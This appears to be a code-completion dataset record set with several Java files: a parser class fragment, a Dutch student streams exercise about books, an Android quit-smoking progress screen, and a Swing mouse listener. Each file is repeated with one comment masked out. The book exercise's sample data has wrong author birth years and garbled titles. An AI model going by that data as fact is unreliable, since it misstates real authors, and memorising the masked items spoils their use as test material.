protected boolean isMatchingReadWordTypeNr( short wordTypeNr )
{
return isMatchingWordType( wordTypeNr_, wordTypeNr );
}
protected boolean isNoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_NOUN_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_NOUN_PLURAL );
}
protected boolean isNonChineseNumeral()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_NUMERAL &&
wordParameter_ != Constants.WORD_PARAMETER_NUMERAL_CHINESE_ALL );
}
protected boolean isNumeralBoth()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NUMERAL_BOTH );
}
protected boolean isNegative()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_ADJECTIVE_NO ||
wordParameter_ == Constants.WORD_PARAMETER_ADVERB_NOT ||
wordParameter_ == Constants.WORD_PARAMETER_ADVERB_FRENCH_PAS );
}
protected boolean isNounHeadOrTail()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_HEAD ||
wordParameter_ == Constants.WORD_PARAMETER_NOUN_TAIL );
}
protected boolean isNounValue()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_VALUE );
}
protected boolean isNounValueAhead()
{
ReadItem lookingAheadReadItem;
return ( ( lookingAheadReadItem = this.nextReadItem() ) != null &&
( lookingAheadReadItem = lookingAheadReadItem.nextReadItem() ) != null &&
lookingAheadReadItem.isNounValue() );
}
protected boolean isNounPartOf()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_NOUN_PART );
}
protected boolean isPossessiveDeterminer()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_POSSESSIVE_DETERMINER_PLURAL );
}
protected boolean isPreposition()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_PREPOSITION );
}
protected boolean isProperNoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_PROPER_NOUN );
}
protected boolean isQuestionMark()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_QUESTION_MARK );
}
protected boolean isRelationWord()
{
// To avoid triggering on the article before a proper noun preceded by defined article
return ( wordTypeNr_ != Constants.WORD_TYPE_ARTICLE &&
grammarParameter == Constants.GRAMMAR_RELATION_WORD );
}
protected boolean isSeparator()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_COMMA ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_COLON ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_EXCLAMATION_MARK ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_QUESTION_MARK ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_SPANISH_INVERTED_EXCLAMATION_MARK ||
wordParameter_ == Constants.WORD_PARAMETER_SYMBOL_SPANISH_INVERTED_QUESTION_MARK );
}
protected boolean isSingularNoun()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_NOUN_SINGULAR );
}
protected boolean isSkippingChineseIntegrityCheckWords()
{
switch( wordTypeNr_ )
{
case Constants.WORD_TYPE_SYMBOL:
case Constants.WORD_TYPE_PREPOSITION:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION );
case Constants.WORD_TYPE_NUMERAL:
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
case Constants.WORD_TYPE_ARTICLE:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_PART );
case Constants.WORD_TYPE_CONJUNCTION:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_PART ||
grammarParameter == Constants.GRAMMAR_EXCLUSIVE_SPECIFICATION_CONJUNCTION );
case Constants.WORD_TYPE_PERSONAL_PRONOUN_PLURAL_SUBJECTIVE:
return ( grammarParameter == Constants.GRAMMAR_RELATION_PART );
}
return false;
}
protected boolean isSkippingIntegrityCheckWords()
{
switch( wordTypeNr_ )
{
case Constants.WORD_TYPE_SYMBOL:
// Skip extra comma in sentence that isn't written.
// See grammar file for: '( symbolComma )'
// Example: "A creature is an animal, fungus, human-being, micro-organism, or plant."
return ( grammarParameter == Constants.GRAMMAR_EXCLUSIVE_SPECIFICATION_CONJUNCTION ||
grammarParameter == Constants.GRAMMAR_SENTENCE_CONJUNCTION );
case Constants.WORD_TYPE_NUMERAL:
// Skip on different order of specification words with a numeral
// Example: "John has 2 sons and a daughter"
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION );
case Constants.WORD_TYPE_ADJECTIVE:
// Typical for Spanish
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD ||
// Typical for French
grammarParameter == Constants.GRAMMAR_RELATION_PART );
case Constants.WORD_TYPE_ADVERB:
// Skip mismatch in uncertainty
return ( grammarParameter == Constants.GRAMMAR_VERB );
case Constants.WORD_TYPE_ARTICLE:
// Skip missing indefinite article, because of a plural noun
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION ||
// Skip wrong indefinite article
// Example: "An horse is incorrect."
grammarParameter == Constants.GRAMMAR_GENERALIZATION_PART ||
// Typical for Dutch
// Skip wrong definite article
// Example: "De<SUF>
grammarParameter == Constants.GRAMMAR_GENERALIZATION_ASSIGNMENT );
case Constants.WORD_TYPE_CONJUNCTION:
// Skip question entered with singular verb, but written with plural verb
// Example: "Expert is a user and his password is expert123."
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_SPECIFICATION ||
// Skip linked conjunctions
// Example: "Guest is a user and has no password."
grammarParameter == Constants.GRAMMAR_LINKED_GENERALIZATION_CONJUNCTION ||
// Skip sentence conjunctions
// Example: "Expert is a user and his password is expert123."
grammarParameter == Constants.GRAMMAR_SENTENCE_CONJUNCTION );
case Constants.WORD_TYPE_NOUN_SINGULAR:
return ( grammarParameter == Constants.GRAMMAR_GENERALIZATION_WORD ||
grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
case Constants.WORD_TYPE_NOUN_PLURAL:
// Skip plural noun if singular noun is entered
// Example: entered: "Is Joe a child?", written: "Are Paul and Joe children?"
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
case Constants.WORD_TYPE_VERB_SINGULAR:
return ( grammarParameter == Constants.GRAMMAR_VERB );
case Constants.WORD_TYPE_VERB_PLURAL:
// Skip plural question verb if singular verb is entered
// Example: entered: "Is Joe a child?", written: "Are Paul and Joe children?"
return ( grammarParameter == Constants.GRAMMAR_QUESTION_VERB );
}
return false;
}
protected boolean isSpecificationWord()
{
return ( grammarParameter == Constants.GRAMMAR_SPECIFICATION_WORD );
}
protected boolean isSymbol()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_SYMBOL );
}
protected boolean isUncountableGeneralizationNoun()
{
return isUncountableGeneralizationNoun_;
}
protected boolean isVerb()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_VERB_SINGULAR ||
wordTypeNr_ == Constants.WORD_TYPE_VERB_PLURAL );
}
protected boolean isVirtualListPreposition()
{
return ( wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_FROM ||
wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_TO ||
wordParameter_ == Constants.WORD_PARAMETER_PREPOSITION_OF );
}
protected boolean isText()
{
return ( wordTypeNr_ == Constants.WORD_TYPE_TEXT );
}
protected short readAheadChineseImperativeVerbParameter()
{
ReadItem searchReadItem = this;
if( wordParameter_ == Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_CHINESE_PUT )
{
while( ( searchReadItem = searchReadItem.nextReadItem() ) != null )
{
switch( searchReadItem.wordParameter() )
{
case Constants.WORD_PARAMETER_PREPOSITION_CHINESE_VERB_ADD:
return Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_ADD;
case Constants.WORD_PARAMETER_PREPOSITION_CHINESE_VERB_MOVE:
return Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_MOVE;
case Constants.WORD_PARAMETER_PREPOSITION_CHINESE_VERB_REMOVE:
return Constants.WORD_PARAMETER_SINGULAR_VERB_IMPERATIVE_REMOVE;
}
}
}
return Constants.NO_WORD_PARAMETER;
}
protected short wordOrderNr()
{
return wordOrderNr_;
}
protected short wordParameter()
{
return wordParameter_;
}
protected short wordTypeNr()
{
return wordTypeNr_;
}
protected byte changeReadWord( short newWordTypeNr, WordItem newReadWordItem )
{
if( newReadWordItem == null )
return startError( 1, null, "The given new read word item is undefined" );
wordTypeNr_ = newWordTypeNr;
readWordItem_ = newReadWordItem;
return Constants.RESULT_OK;
}
protected String readWordTypeString()
{
return ( readWordItem_ != null ?
readWordItem_.activeWordTypeString( wordTypeNr_ ) : null );
}
protected ReadItem firstRelationWordReadItem()
{
ReadItem searchReadItem = this;
while( searchReadItem != null )
{
if( searchReadItem.isRelationWord() )
return searchReadItem;
searchReadItem = searchReadItem.nextReadItem();
}
return null;
}
protected ReadItem nextReadItem()
{
return (ReadItem)nextItem;
}
protected WordItem lookAheadRelationWordItem()
{
ReadItem searchReadItem = this;
while( searchReadItem != null )
{
if( searchReadItem.isRelationWord() )
return searchReadItem.readWordItem();
searchReadItem = searchReadItem.nextReadItem();
}
return null;
}
protected WordItem readWordItem()
{
return readWordItem_;
}
protected WordTypeItem activeReadWordTypeItem()
{
return ( readWordItem_ != null ?
readWordItem_.activeWordTypeItem( true, wordTypeNr_ ) : null );
}
};
/*************************************************************************
* "The godly will see these things and be glad,
* while the wicked are struck in silent." (Psalm 107:42)
*************************************************************************/
|
112193_4 | import java.time.LocalDate;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Map;
import java.util.stream.Collectors;
public class BookAp {
public static void main(String[] args) {
//Creatie: een Book array
Book[] books = createBooksArray();
//Roep de vijf statische methoden aan
System.out.println("\n***\n");
getNewestBook(books);
System.out.println("\n***\n");
printYoungestWriter(books);
System.out.println("\n***\n");
System.out.println(" Book names in alphabetical order: ");
printSortedByTitle(books);
System.out.println("\n***\n");
System.out.println(" Number of books by author: ");
countBooksPerAuthor(books);
System.out.println("\n***\n");
System.out.print(" Published in 2016 -");
printBooksReleasedIn2016(books);
}
//()Methode voor het maken van een array boeken
private static Book[] createBooksArray() {
Person author1 = new Person("Gabrielle ", "Zevin ", LocalDate.of(1977, 10, 24));
Person author2 = new Person("Joan ", "Didion ", LocalDate.of(1903, 6, 25));
Person author3 = new Person("Joey ", "Benun ", LocalDate.of(1997, 9, 9));
Person author4 = new Person("James ", "Clear ", LocalDate.of(1926, 4, 28));
Person author5 = new Person("John ", "Tolkien ", LocalDate.of(1892, 9, 2));
//Om book obj aan te maken - person obj nodig(de authors)
return new Book[]{
new Book(" Day next and Tomorrow, and Tomorrow ", author1, LocalDate.of(1997, 2, 13), " Psychology "),
new Book(" The Year of Magical Thinking ", author2, LocalDate.of(2023, 6, 8), " Classics "),
new Book(" Pebbles and the Biggest Number ", author3, LocalDate.of(2021, 1, 23), " Science "),
new Book(" Atomic Habits ", author4, LocalDate.of(2016, 10, 16), " Business " ),
new Book(" Hobbit ",author5, LocalDate.of(1937, 9, 21), " Southern Gothic ")
};
}
// ::reference operator
//Deze method geeft het nieuwste boek terug
public static void getNewestBook(Book[] books) { //stream- potok
Book newestBook = Arrays.stream(books)
.max(Comparator.comparing(Book::getReleaseDate))
.orElse(null);
System.out.println("Newest Book: " + newestBook);
}
//Deze method print de jongste schrijver af.
public static void printYoungestWriter(Book[] books) {
Person youngestWriter = Arrays.stream(books)
.max(Comparator.comparing(book -> book.getAuthor().getDateOfBirth()))
.map(Book::getAuthor)
.orElse(null);
System.out.println("Youngest Writer: " + youngestWriter);
}
//Deze methode voor het sorteren en printen van boeken op titel(in alfabetische volgorde)
public static void printSortedByTitle(Book[] books) {
Arrays.stream(books)
.sorted(Comparator.comparing(Book::getTitle)) // Book -de klasse waarin de methode wordt aangeroepen.
.forEach(System.out::println);
}
//Deze methode voor het tellen van boeken per auteur en printen van resultaat
public static void countBooksPerAuthor(Book[] books) {
Map<Person, Long> booksPerAuthor = Arrays.stream(books) //the keys are authors(Person obj)and the values are the count of books written by each author
.collect(Collectors.groupingBy(Book::getAuthor, Collectors.counting()));
booksPerAuthor.forEach((author, count) -> System.out.println( author.getFirstName() + " " + author.getLastName() + ": "+ count + " book(s)"));
}
//Deze methode voor het printen van boeken gereleased in 2016
public static void printBooksReleasedIn2016(Book[] books) {
Arrays.stream(books)
.filter(book -> book.getReleaseDate().getYear() == 2016)
.forEach(System.out::println);
}
}
| 9elmaz9/Java_Fundamentals | TestLambdasStreams/src/BookAp.java | 1,219 | //Deze method geeft het nieuwste boek terug | line_comment | nl | import java.time.LocalDate;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Map;
import java.util.stream.Collectors;
public class BookAp {
public static void main(String[] args) {
//Creatie: een Book array
Book[] books = createBooksArray();
//Roep de vijf statische methoden aan
System.out.println("\n***\n");
getNewestBook(books);
System.out.println("\n***\n");
printYoungestWriter(books);
System.out.println("\n***\n");
System.out.println(" Book names in alphabetical order: ");
printSortedByTitle(books);
System.out.println("\n***\n");
System.out.println(" Number of books by author: ");
countBooksPerAuthor(books);
System.out.println("\n***\n");
System.out.print(" Published in 2016 -");
printBooksReleasedIn2016(books);
}
//()Methode voor het maken van een array boeken
private static Book[] createBooksArray() {
Person author1 = new Person("Gabrielle ", "Zevin ", LocalDate.of(1977, 10, 24));
Person author2 = new Person("Joan ", "Didion ", LocalDate.of(1903, 6, 25));
Person author3 = new Person("Joey ", "Benun ", LocalDate.of(1997, 9, 9));
Person author4 = new Person("James ", "Clear ", LocalDate.of(1926, 4, 28));
Person author5 = new Person("John ", "Tolkien ", LocalDate.of(1892, 9, 2));
//Om book obj aan te maken - person obj nodig(de authors)
return new Book[]{
new Book(" Day next and Tomorrow, and Tomorrow ", author1, LocalDate.of(1997, 2, 13), " Psychology "),
new Book(" The Year of Magical Thinking ", author2, LocalDate.of(2023, 6, 8), " Classics "),
new Book(" Pebbles and the Biggest Number ", author3, LocalDate.of(2021, 1, 23), " Science "),
new Book(" Atomic Habits ", author4, LocalDate.of(2016, 10, 16), " Business " ),
new Book(" Hobbit ",author5, LocalDate.of(1937, 9, 21), " Southern Gothic ")
};
}
// ::reference operator
//Deze method<SUF>
public static void getNewestBook(Book[] books) { //stream- potok
Book newestBook = Arrays.stream(books)
.max(Comparator.comparing(Book::getReleaseDate))
.orElse(null);
System.out.println("Newest Book: " + newestBook);
}
//Deze method print de jongste schrijver af.
public static void printYoungestWriter(Book[] books) {
Person youngestWriter = Arrays.stream(books)
.max(Comparator.comparing(book -> book.getAuthor().getDateOfBirth()))
.map(Book::getAuthor)
.orElse(null);
System.out.println("Youngest Writer: " + youngestWriter);
}
//Deze methode voor het sorteren en printen van boeken op titel(in alfabetische volgorde)
public static void printSortedByTitle(Book[] books) {
Arrays.stream(books)
.sorted(Comparator.comparing(Book::getTitle)) // Book -de klasse waarin de methode wordt aangeroepen.
.forEach(System.out::println);
}
//Deze methode voor het tellen van boeken per auteur en printen van resultaat
public static void countBooksPerAuthor(Book[] books) {
Map<Person, Long> booksPerAuthor = Arrays.stream(books) //the keys are authors(Person obj)and the values are the count of books written by each author
.collect(Collectors.groupingBy(Book::getAuthor, Collectors.counting()));
booksPerAuthor.forEach((author, count) -> System.out.println( author.getFirstName() + " " + author.getLastName() + ": "+ count + " book(s)"));
}
//Deze methode voor het printen van boeken gereleased in 2016
public static void printBooksReleasedIn2016(Book[] books) {
Arrays.stream(books)
.filter(book -> book.getReleaseDate().getYear() == 2016)
.forEach(System.out::println);
}
}
|
53192_4 | package com.amaze.quit.app;
import android.app.ActionBar;
import android.app.Activity;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.drawable.ColorDrawable;
import android.os.Handler;
import android.os.Message;
import android.support.v4.app.Fragment;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ProgressBar;
import android.widget.TextView;
import com.viewpagerindicator.LinePageIndicator;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
public class HealthProgress extends Fragment {
static int position;
private static final int UpdateProgress = 0;
private UserVisibilityEvent uservisibilityevent;
Handler handler;
//teken vooruitgang progressbars met cijfers
protected void drawElements(int id) {
Activity a = getActivity();
int progress = getProgress(id);
int barId = getResources().getIdentifier("progressBar_gezondheid_" + id, "id", a.getPackageName());
ProgressBar gezondheidBar = (ProgressBar) a.findViewById(barId);
gezondheidBar.setProgress(progress);
int tId = getResources().getIdentifier("health_procent" + id, "id", a.getPackageName());
TextView t = (TextView) a.findViewById(tId);
t.setText(progress + "%");
long tijd = getRemainingTime(id);
//draw days, hours, minutes
long dagen = tijd / 1440;
long uren = (tijd - dagen * 1440) / 60;
long minuten = tijd - dagen * 1440 - uren * 60;
int timerId = getResources().getIdentifier("health_timer" + id, "id", a.getPackageName());
TextView timer = (TextView) a.findViewById(timerId);
String timerText = "";
if (dagen > 0) {
if (dagen == 1) {
timerText += dagen + " dag ";
} else {
timerText += dagen + " dagen ";
}
}
if (uren > 0) {
timerText += uren + " uur ";
}
timerText += minuten;
if(minuten == 1) {
timerText += " minuut";
}
else {
timerText += " minuten";
}
timer.setText(timerText);
}
//tekent algemene gezonheid
protected void drawAverage() {
//teken de progress van de algemene gezondheid bar (gemiddelde van alle andere)
int totalProgress = 0;
for (int i = 1; i <= 9; i++) {
totalProgress += getProgress(i);
}
int average = totalProgress / 9;
ProgressBar totaalGezondheidBar = (ProgressBar) getActivity().findViewById(R.id.progressBar_algemeenGezondheid);
totaalGezondheidBar.setProgress(average);
//totaalGezondheidBar.getProgressDrawable().
}
//tekent vooruitgang
protected void drawProgress() {
Activity a = getActivity();
Date today = new Date();
//teken de progress van elke individuele bar + procenten
for (int i = 1; i <= 9; i++) {
drawElements(i);
}
drawAverage();
}
//geeft progress terug
public int getProgress(int id) {
double progress;
double max;
double current;
DatabaseHandler db = new DatabaseHandler(getActivity());
Calendar stopDate = DateUtils.calendarFor(db.getUser(1).getQuitYear(), db.getUser(1).getQuitMonth(), db.getUser(1).getQuitDay(), db.getUser(1).getQuitHour(), db.getUser(1).getQuitMinute());
long stoppedMinutes = DateUtils.GetMinutesSince(stopDate);
//close the database
db.close();
switch (id) {
case 1:
current = stoppedMinutes;
max = 1 * 24 * 60;
break; // max in days
case 2:
current = stoppedMinutes;
max = 365 * 24 * 60;
break;
case 3:
current = stoppedMinutes;
max = 2 * 24 * 60;
break;
case 4:
current = stoppedMinutes;
max = 4 * 24 * 60;
break;
case 5:
current = stoppedMinutes;
max = 2 * 24 * 60;
break;
case 6:
current = stoppedMinutes;
max = 40 * 24 * 60;
break;
case 7:
current = stoppedMinutes;
max = 14 * 24 * 60;
break;
case 8:
current = stoppedMinutes;
max = 3 * 365 * 24 * 60;
break;
case 9:
current = stoppedMinutes;
max = 10 * 365 * 24 * 60;
break;
default:
current = 100;
max = 100;
break;
}
progress = (current / max) * 100;
if (progress > 100) {
progress = 100;
}
return (int) progress;
}
//geeft tijd over terug
protected int getRemainingTime(int id) {
long tijd = 0;
DatabaseHandler db = new DatabaseHandler(getActivity());
Calendar today = Calendar.getInstance();
Calendar stopDate = DateUtils.calendarFor(db.getUser(1).getQuitYear(), db.getUser(1).getQuitMonth(), db.getUser(1).getQuitDay(), db.getUser(1).getQuitHour(), db.getUser(1).getQuitMinute());
Calendar maxDate = stopDate;
//close the database
db.close();
switch (id) {
case 1:
maxDate.add(Calendar.DAY_OF_MONTH, 1);
break; // STOPDATUM + HOEVEEL DAGEN HET DUURT
case 2:
maxDate.add(Calendar.YEAR, 1);
break;
case 3:
maxDate.add(Calendar.DAY_OF_MONTH, 2);
break;
case 4:
maxDate.add(Calendar.DAY_OF_MONTH, 4);
break;
case 5:
maxDate.add(Calendar.DAY_OF_MONTH, 2);
break;
case 6:
maxDate.add(Calendar.DAY_OF_MONTH, 40);
break;
case 7:
maxDate.add(Calendar.DAY_OF_MONTH, 14);
break;
case 8:
maxDate.add(Calendar.YEAR, 3);
break;
case 9:
maxDate.add(Calendar.YEAR, 10);
break;
default:
break;
}
tijd = DateUtils.GetMinutesBetween(today, maxDate);
if (tijd < 0) {
tijd = 0;
}
return (int) tijd;
}
public static final HealthProgress newInstance(int i) {
HealthProgress f = new HealthProgress();
Bundle bdl = new Bundle(1);
f.setArguments(bdl);
position = i;
return f;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.activity_health_progress, container, false);
handler = new Handler() {
@Override
public void handleMessage(Message msg) {
if (msg.what == UpdateProgress) {
if (getActivity() != null) {
Activity a = getActivity();
TextView t1 = (TextView) a.findViewById(R.id.health_procent1);
if (t1 != null) {
drawProgress();
}
}
}
super.handleMessage(msg);
}
};
//timer
Thread updateProcess = new Thread() {
public void run() {
while (1 == 1) {
try {
sleep(10000);
Message msg = new Message();
msg.what = UpdateProgress;
handler.sendMessage(msg);
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
}
}
}
};
updateProcess.start();
//update on startup
Message msg = new Message();
msg.what = UpdateProgress;
handler.sendMessage(msg);
return v;
}
@Override
public void setUserVisibleHint(boolean isVisibleToUser) {
super.setUserVisibleHint(isVisibleToUser);
if (isVisibleToUser) {
//implements the main method what every fragment should do when it's visible
uservisibilityevent.viewIsVisible(getActivity(), position, "green", "title_activity_health_progress");
}
}
}
| A-Maze/Quit | app/src/main/java/com/amaze/quit/app/HealthProgress.java | 2,524 | //teken de progress van elke individuele bar + procenten | line_comment | nl | package com.amaze.quit.app;
import android.app.ActionBar;
import android.app.Activity;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.drawable.ColorDrawable;
import android.os.Handler;
import android.os.Message;
import android.support.v4.app.Fragment;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ProgressBar;
import android.widget.TextView;
import com.viewpagerindicator.LinePageIndicator;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
public class HealthProgress extends Fragment {
static int position;
private static final int UpdateProgress = 0;
private UserVisibilityEvent uservisibilityevent;
Handler handler;
//teken vooruitgang progressbars met cijfers
protected void drawElements(int id) {
Activity a = getActivity();
int progress = getProgress(id);
int barId = getResources().getIdentifier("progressBar_gezondheid_" + id, "id", a.getPackageName());
ProgressBar gezondheidBar = (ProgressBar) a.findViewById(barId);
gezondheidBar.setProgress(progress);
int tId = getResources().getIdentifier("health_procent" + id, "id", a.getPackageName());
TextView t = (TextView) a.findViewById(tId);
t.setText(progress + "%");
long tijd = getRemainingTime(id);
//draw days, hours, minutes
long dagen = tijd / 1440;
long uren = (tijd - dagen * 1440) / 60;
long minuten = tijd - dagen * 1440 - uren * 60;
int timerId = getResources().getIdentifier("health_timer" + id, "id", a.getPackageName());
TextView timer = (TextView) a.findViewById(timerId);
String timerText = "";
if (dagen > 0) {
if (dagen == 1) {
timerText += dagen + " dag ";
} else {
timerText += dagen + " dagen ";
}
}
if (uren > 0) {
timerText += uren + " uur ";
}
timerText += minuten;
if(minuten == 1) {
timerText += " minuut";
}
else {
timerText += " minuten";
}
timer.setText(timerText);
}
//tekent algemene gezonheid
protected void drawAverage() {
//teken de progress van de algemene gezondheid bar (gemiddelde van alle andere)
int totalProgress = 0;
for (int i = 1; i <= 9; i++) {
totalProgress += getProgress(i);
}
int average = totalProgress / 9;
ProgressBar totaalGezondheidBar = (ProgressBar) getActivity().findViewById(R.id.progressBar_algemeenGezondheid);
totaalGezondheidBar.setProgress(average);
//totaalGezondheidBar.getProgressDrawable().
}
//tekent vooruitgang
protected void drawProgress() {
Activity a = getActivity();
Date today = new Date();
//teken de<SUF>
for (int i = 1; i <= 9; i++) {
drawElements(i);
}
drawAverage();
}
//geeft progress terug
public int getProgress(int id) {
double progress;
double max;
double current;
DatabaseHandler db = new DatabaseHandler(getActivity());
Calendar stopDate = DateUtils.calendarFor(db.getUser(1).getQuitYear(), db.getUser(1).getQuitMonth(), db.getUser(1).getQuitDay(), db.getUser(1).getQuitHour(), db.getUser(1).getQuitMinute());
long stoppedMinutes = DateUtils.GetMinutesSince(stopDate);
//close the database
db.close();
switch (id) {
case 1:
current = stoppedMinutes;
max = 1 * 24 * 60;
break; // max in days
case 2:
current = stoppedMinutes;
max = 365 * 24 * 60;
break;
case 3:
current = stoppedMinutes;
max = 2 * 24 * 60;
break;
case 4:
current = stoppedMinutes;
max = 4 * 24 * 60;
break;
case 5:
current = stoppedMinutes;
max = 2 * 24 * 60;
break;
case 6:
current = stoppedMinutes;
max = 40 * 24 * 60;
break;
case 7:
current = stoppedMinutes;
max = 14 * 24 * 60;
break;
case 8:
current = stoppedMinutes;
max = 3 * 365 * 24 * 60;
break;
case 9:
current = stoppedMinutes;
max = 10 * 365 * 24 * 60;
break;
default:
current = 100;
max = 100;
break;
}
progress = (current / max) * 100;
if (progress > 100) {
progress = 100;
}
return (int) progress;
}
//geeft tijd over terug
protected int getRemainingTime(int id) {
long tijd = 0;
DatabaseHandler db = new DatabaseHandler(getActivity());
Calendar today = Calendar.getInstance();
Calendar stopDate = DateUtils.calendarFor(db.getUser(1).getQuitYear(), db.getUser(1).getQuitMonth(), db.getUser(1).getQuitDay(), db.getUser(1).getQuitHour(), db.getUser(1).getQuitMinute());
Calendar maxDate = stopDate;
//close the database
db.close();
switch (id) {
case 1:
maxDate.add(Calendar.DAY_OF_MONTH, 1);
break; // STOPDATUM + HOEVEEL DAGEN HET DUURT
case 2:
maxDate.add(Calendar.YEAR, 1);
break;
case 3:
maxDate.add(Calendar.DAY_OF_MONTH, 2);
break;
case 4:
maxDate.add(Calendar.DAY_OF_MONTH, 4);
break;
case 5:
maxDate.add(Calendar.DAY_OF_MONTH, 2);
break;
case 6:
maxDate.add(Calendar.DAY_OF_MONTH, 40);
break;
case 7:
maxDate.add(Calendar.DAY_OF_MONTH, 14);
break;
case 8:
maxDate.add(Calendar.YEAR, 3);
break;
case 9:
maxDate.add(Calendar.YEAR, 10);
break;
default:
break;
}
tijd = DateUtils.GetMinutesBetween(today, maxDate);
if (tijd < 0) {
tijd = 0;
}
return (int) tijd;
}
public static final HealthProgress newInstance(int i) {
HealthProgress f = new HealthProgress();
Bundle bdl = new Bundle(1);
f.setArguments(bdl);
position = i;
return f;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.activity_health_progress, container, false);
handler = new Handler() {
@Override
public void handleMessage(Message msg) {
if (msg.what == UpdateProgress) {
if (getActivity() != null) {
Activity a = getActivity();
TextView t1 = (TextView) a.findViewById(R.id.health_procent1);
if (t1 != null) {
drawProgress();
}
}
}
super.handleMessage(msg);
}
};
//timer
Thread updateProcess = new Thread() {
public void run() {
while (1 == 1) {
try {
sleep(10000);
Message msg = new Message();
msg.what = UpdateProgress;
handler.sendMessage(msg);
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
}
}
}
};
updateProcess.start();
//update on startup
Message msg = new Message();
msg.what = UpdateProgress;
handler.sendMessage(msg);
return v;
}
@Override
public void setUserVisibleHint(boolean isVisibleToUser) {
super.setUserVisibleHint(isVisibleToUser);
if (isVisibleToUser) {
//implements the main method what every fragment should do when it's visible
uservisibilityevent.viewIsVisible(getActivity(), position, "green", "title_activity_health_progress");
}
}
}
|
10057_13 | package nl.ou.fresnelforms.view;
import java.awt.Cursor;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.geom.Point2D;
import javax.swing.SwingUtilities;
/**
* Mouse listener for all actions performed on lens boxes and property labels.
*/
public class LensDiagramMouseAdapter extends MouseAdapter {
private LensDiagram diagram;
private int x = 0;
private int y = 0;
private LensDiagramComponent selected = null;
/**
* Constructor.
* @param diagram lens diagram to listen to
*/
public LensDiagramMouseAdapter(LensDiagram diagram) {
this.diagram = diagram;
}
/**
* Checks for mouse overs on lens boxes and property labels and mouse exits from menus.
* @param e the mouseevent
*/
public void mouseMoved(MouseEvent e) {
double x = e.getX();
double y = e.getY();
Point2D p = new Point2D.Double(x, y);
for (LensBox lb: diagram.getLensBoxes()) {
if (!lb.isMouseOver() && lb.contains(p)) {
lb.setMouseOver(true);
doRepaint();
} else if (lb.isMouseOver() && !lb.contains(p)){
lb.setMouseOver(false);
doRepaint();
}
}
}
/**
* Checks for mouse clicks on menu options, lens boxes and property labels.
* @param e the mousevent
*/
public void mouseClicked(MouseEvent e) {
x = e.getX();
y = e.getY();
Point2D p = new Point2D.Double(x, y);
for (LensBox lb: diagram.getLensBoxes()) {
if (lb.contains(p)) {
//The click is on the lensbox
//Check for click on a property label
for (PropertyLabel pl: lb.getPropertyLabels()) {
if (pl.contains(p)) {
if (SwingUtilities.isLeftMouseButton(e)) {
pl.getPropertyBinding().setShown(!pl.getPropertyBinding().isShown());
doRepaint();
return;
} else if (SwingUtilities.isRightMouseButton(e)) {
PropertyLabelRightClickMenu menu = new PropertyLabelRightClickMenu(pl);
menu.show(e.getComponent(), x, y);
doRepaint();
return;
}
}
}
//The mouseclick is on the lens and not on a property label
if (SwingUtilities.isLeftMouseButton(e)) {
//With the left mouse button the lensbox is selected or deselected
lb.setSelected(! lb.isSelected());
doRepaint();
return;
} else if (SwingUtilities.isRightMouseButton(e)) {
//With the right mouse button the popup menus for the lensbox is activated
LensBoxRightClickMenu menu = new LensBoxRightClickMenu(lb);
menu.show(e.getComponent(), x, y);
doRepaint();
return;
}
}
}
//No lensbox clicked so it must be the diagram.
if (SwingUtilities.isRightMouseButton(e)) {
//Activate the right mousebutton popup menu for the diagram
LensDiagramRightClickMenu menu = new LensDiagramRightClickMenu(diagram);
menu.show(e.getComponent(), x, y);
doRepaint();
}
}
/**
* The mouse pressed event handler.
* @param e the mouse event
*/
